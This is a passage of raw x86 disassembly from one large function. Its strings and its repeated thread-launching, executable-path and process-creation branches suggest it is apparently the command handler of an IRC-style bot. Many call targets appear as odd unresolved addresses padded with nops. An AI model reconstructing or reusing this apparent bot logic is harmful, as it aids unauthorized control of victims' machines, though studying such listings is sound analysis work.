		imul	eax, 234h
		pop	ecx
		push	dword_43C24C[eax]
		call	sub_409862
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43C040[eax], 73h
		jnz	loc_409643
		push	esi
		push	edi
		call	sub_41BEF9
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43C258
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_4078C3
; ---------------------------------------------------------------------------


loc_4079C2:				; CODE XREF: sub_401AC7+4DF4j
					; sub_401AC7+4E0Bj
		push	edi
		call	dword_4C9344
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41BEF9
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41BEF9
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BD70
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A914
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset byte_40C913
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407AA4


loc_407A8E:				; CODE XREF: sub_401AC7+5FDBj
		cmp	[ebp+var_670], ebx
		jnz	loc_403D2D
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_407A8E
; ---------------------------------------------------------------------------


loc_407AA4:				; CODE XREF: sub_401AC7+5FC5j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42AA04
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_407AB5:				; CODE XREF: sub_401AC7+4DC6j
					; sub_401AC7+4DDDj
		push	edi
		call	sub_41BEF9
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BD70
		push	[ebp+arg_0]
		call	sub_41BEF9
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	80h
		push	eax
		mov	[ebp+var_123C],	esi
		call	sub_41C100
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D8
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410D69
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407B9E


loc_407B88:				; CODE XREF: sub_401AC7+60D5j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D2D
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_407B88
; ---------------------------------------------------------------------------


loc_407B9E:				; CODE XREF: sub_401AC7+60BFj
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset unk_42A894
		jmp	loc_403D1E
; ---------------------------------------------------------------------------


loc_407BAF:				; CODE XREF: sub_401AC7+4D98j
					; sub_401AC7+4DAFj
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BD70
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41BEF9
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407C08
		push	10h
		push	ebx
		push	eax
		call	sub_41C52E
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407C0E
; ---------------------------------------------------------------------------


loc_407C08:				; CODE XREF: sub_401AC7+612Bj
		mov	[ebp+var_266C],	ebx


loc_407C0E:				; CODE XREF: sub_401AC7+613Fj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407C25
		push	esi
		call	sub_41BEF9
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C25:				; CODE XREF: sub_401AC7+614Dj
		mov	[ebp+var_2670],	ebx


loc_407C2B:				; CODE XREF: sub_401AC7+615Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2664],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A868
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3AD
		add	esp, 28h
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_416754
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407CD9


loc_407CC3:				; CODE XREF: sub_401AC7+6210j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_4071DD
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_407CC3
; ---------------------------------------------------------------------------


loc_407CD9:				; CODE XREF: sub_401AC7+61FAj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42A828
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_407CEA:				; CODE XREF: sub_401AC7+4D6Aj
					; sub_401AC7+4D81j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A7EC
		push	eax
		mov	[ebp+var_3498],	esi
		call	sub_41C006
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	12h
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset word_4155D6
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407DC1


loc_407DAB:				; CODE XREF: sub_401AC7+62F8j
		cmp	[ebp+var_3288],	ebx
		jnz	loc_4071DD
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_407DAB
; ---------------------------------------------------------------------------


loc_407DC1:				; CODE XREF: sub_401AC7+62E2j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42A7B4
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_407DD2:				; CODE XREF: sub_401AC7+4C3Dj
					; sub_401AC7+4C54j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A784
		push	eax
		mov	[ebp+var_3070],	esi
		call	sub_41C006
		add	esp, 44h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414310
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407EA9


loc_407E93:				; CODE XREF: sub_401AC7+63E0j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_4071DD
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_407E93
; ---------------------------------------------------------------------------


loc_407EA9:				; CODE XREF: sub_401AC7+63CAj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42A74C
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_407EBA:				; CODE XREF: sub_401AC7+4B14j
					; sub_401AC7+4B2Bj ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A71C
		push	eax
		mov	[ebp+var_3CF0],	esi
		call	sub_41C006
		add	esp, 50h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40B3AD
		add	esp, 0Ch
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_41359D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_407FA2


loc_407F8C:				; CODE XREF: sub_401AC7+64D9j
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_4071DD
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_407F8C
; ---------------------------------------------------------------------------


loc_407FA2:				; CODE XREF: sub_401AC7+64C3j
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset unk_42A6E4
		jmp	loc_4071CE
; ---------------------------------------------------------------------------


loc_407FB3:				; CODE XREF: sub_401AC7+4AE6j
					; sub_401AC7+4AFDj
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BD70
		push	[ebp+arg_18]
		call	sub_41BEF9
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BD70
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FFE
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BD70
		add	esp, 0Ch


loc_407FFE:				; CODE XREF: sub_401AC7+6523j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B4
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017E7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40808A


loc_408074:				; CODE XREF: sub_401AC7+65C1j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406C42
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_408074
; ---------------------------------------------------------------------------


loc_40808A:				; CODE XREF: sub_401AC7+65ABj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset dword_42A678
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_40809B:				; CODE XREF: sub_401AC7+4AA6j
					; sub_401AC7+4ABDj
		push	[ebp+arg_18]
		call	sub_41BEF9
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408188
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C100
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C100
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1D5C],	eax
		push	edi
		push	offset unk_42A64C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3AD
		add	esp, 38h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset dword_4139E4
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_408177


loc_408165:				; CODE XREF: sub_401AC7+66AEj
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081DE
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_408165
; ---------------------------------------------------------------------------


loc_408177:				; CODE XREF: sub_401AC7+669Cj
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42A614
		jmp	loc_406E56
; ---------------------------------------------------------------------------


loc_408188:				; CODE XREF: sub_401AC7+65E5j
		push	offset unk_42A5DC
		jmp	loc_406E6F
; ---------------------------------------------------------------------------


loc_408192:				; CODE XREF: sub_401AC7+4A78j
					; sub_401AC7+4A8Fj
		push	[ebp+arg_18]
		push	edi
		call	near ptr 26A0BDFh
		nop
		test	eax, eax
		jz	short loc_4081BF
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B8
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 14h
		jmp	short loc_4081DE
; ---------------------------------------------------------------------------


loc_4081BF:				; CODE XREF: sub_401AC7+66D7j
		push	offset dword_42A5AC
		call	sub_41864A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		add	esp, 10h


loc_4081DE:				; CODE XREF: sub_401AC7+20C9j
					; sub_401AC7+2E99j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40830C
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081FB:				; CODE XREF: sub_401AC7+5731j
		call	sub_409862
		add	esp, 14h
		jmp	loc_40830C
; ---------------------------------------------------------------------------


loc_408208:				; CODE XREF: sub_401AC7+4A4Aj
					; sub_401AC7+4A61j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C100
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408242
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408242
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_408242:				; CODE XREF: sub_401AC7+6759j
					; sub_401AC7+676Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C100
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A57C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C100
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3AD
		add	esp, 2Ch
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset byte_416FFF
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_4082F1


loc_4082DF:				; CODE XREF: sub_401AC7+6828j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_40830C
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_4082DF
; ---------------------------------------------------------------------------


loc_4082F1:				; CODE XREF: sub_401AC7+6816j
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset unk_42A540


loc_4082FD:				; CODE XREF: sub_401AC7+900j
					; sub_401AC7+A3Bj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40830C:				; CODE XREF: sub_401AC7+7BCj
					; sub_401AC7+927j ...
		push	1
		pop	esi
		jmp	loc_406C66
; ---------------------------------------------------------------------------


loc_408314:				; CODE XREF: sub_401AC7+4A1Cj
					; sub_401AC7+4A33j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BD10
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41BEF9
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408351
		mov	[ebp+var_638], 5


loc_408351:				; CODE XREF: sub_401AC7+687Fj
		cmp	[ebp+var_C], ebx
		jz	loc_406C42
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406C42
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 26607E0h
		test	eax, eax
		jnz	short loc_40839C
		push	offset unk_42A51C
		jmp	loc_40851D
; ---------------------------------------------------------------------------


loc_40839C:				; CODE XREF: sub_401AC7+68C9j
		push	edi
		push	offset dword_42A500
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_4083A7:				; CODE XREF: sub_401AC7+49EEj
					; sub_401AC7+4A05j
		push	[ebp+arg_18]
		push	offset a1221	; "1221"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408518
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		nop
		call	near ptr 26A0000h
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BD70
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB6A
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C006
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_408439
		push	10h
		push	ebx
		push	eax
		call	sub_41C52E
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40843F
; ---------------------------------------------------------------------------


loc_408439:				; CODE XREF: sub_401AC7+695Cj
		mov	[ebp+var_23C4],	ebx


loc_40843F:				; CODE XREF: sub_401AC7+6970j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408456
		push	esi
		call	sub_41BEF9
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_40845C
; ---------------------------------------------------------------------------


loc_408456:				; CODE XREF: sub_401AC7+697Ej
		mov	[ebp+var_23C8],	ebx


loc_40845C:				; CODE XREF: sub_401AC7+698Dj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C8
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3AD
		add	esp, 24h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_416754
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_408507


loc_4084F1:				; CODE XREF: sub_401AC7+6A3Ej
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406C42
		push	32h
		call	near ptr 2670EE1h
		nop
		jmp	short loc_4084F1
; ---------------------------------------------------------------------------


loc_408507:				; CODE XREF: sub_401AC7+6A28j
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset dword_42A48C
		jmp	loc_406C33
; ---------------------------------------------------------------------------


loc_408518:				; CODE XREF: sub_401AC7+68F1j
		push	offset dword_42A444


loc_40851D:				; CODE XREF: sub_401AC7+2E40j
					; sub_401AC7+447Bj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_406C42
; ---------------------------------------------------------------------------


loc_408530:				; CODE XREF: sub_401AC7+49C0j
					; sub_401AC7+49D7j
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F6C
		cmp	[ebp+var_C], ebx
		jz	loc_401F6C
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		push	edi
		call	sub_41BEF9
		add	esp, 30h
		test	eax, eax
		jle	short loc_4085B7
		push	edi
		call	sub_41BEF9
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2670EE1h


loc_4085B7:				; CODE XREF: sub_401AC7+6ADAj
		push	offset dword_42A420
		call	sub_415CEE
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_4085CB:				; CODE XREF: sub_401AC7+4992j
					; sub_401AC7+49A9j
		push	[ebp+var_8C]
		push	offset dword_42CCD4
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F6C
		cmp	[ebp+var_C], ebx
		jz	loc_409643
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C080
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41C7E0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408687
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A408
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		push	edi
		call	sub_41BEF9
		add	esp, 38h
		test	eax, eax
		jle	loc_409643
		push	edi
		call	sub_41BEF9
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401AC7+6B49j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D4
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	loc_408FA0
; ---------------------------------------------------------------------------


loc_4086A0:				; CODE XREF: sub_401AC7+4964j
					; sub_401AC7+497Bj
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BD70
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3A0
		push	eax
		mov	[ebp+var_221C],	esi
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3AD
		add	esp, 40h
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset word_414F0A
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_408761


loc_40874B:				; CODE XREF: sub_401AC7+6C98j
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40884A
		push	32h
		nop
		call	near ptr 2670EE1h
		jmp	short loc_40874B
; ---------------------------------------------------------------------------


loc_408761:				; CODE XREF: sub_401AC7+6C82j
		nop
		call	near ptr 26807F9h
		push	eax
		push	offset unk_42A364
		jmp	loc_40883B
; ---------------------------------------------------------------------------


loc_408772:				; CODE XREF: sub_401AC7+4936j
					; sub_401AC7+494Dj
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BD70
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BD70
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BD70
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A338
		push	eax
		mov	[ebp+var_23B0],	esi
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3AD
		add	esp, 40h
		mov	[ebp+var_222C],	eax
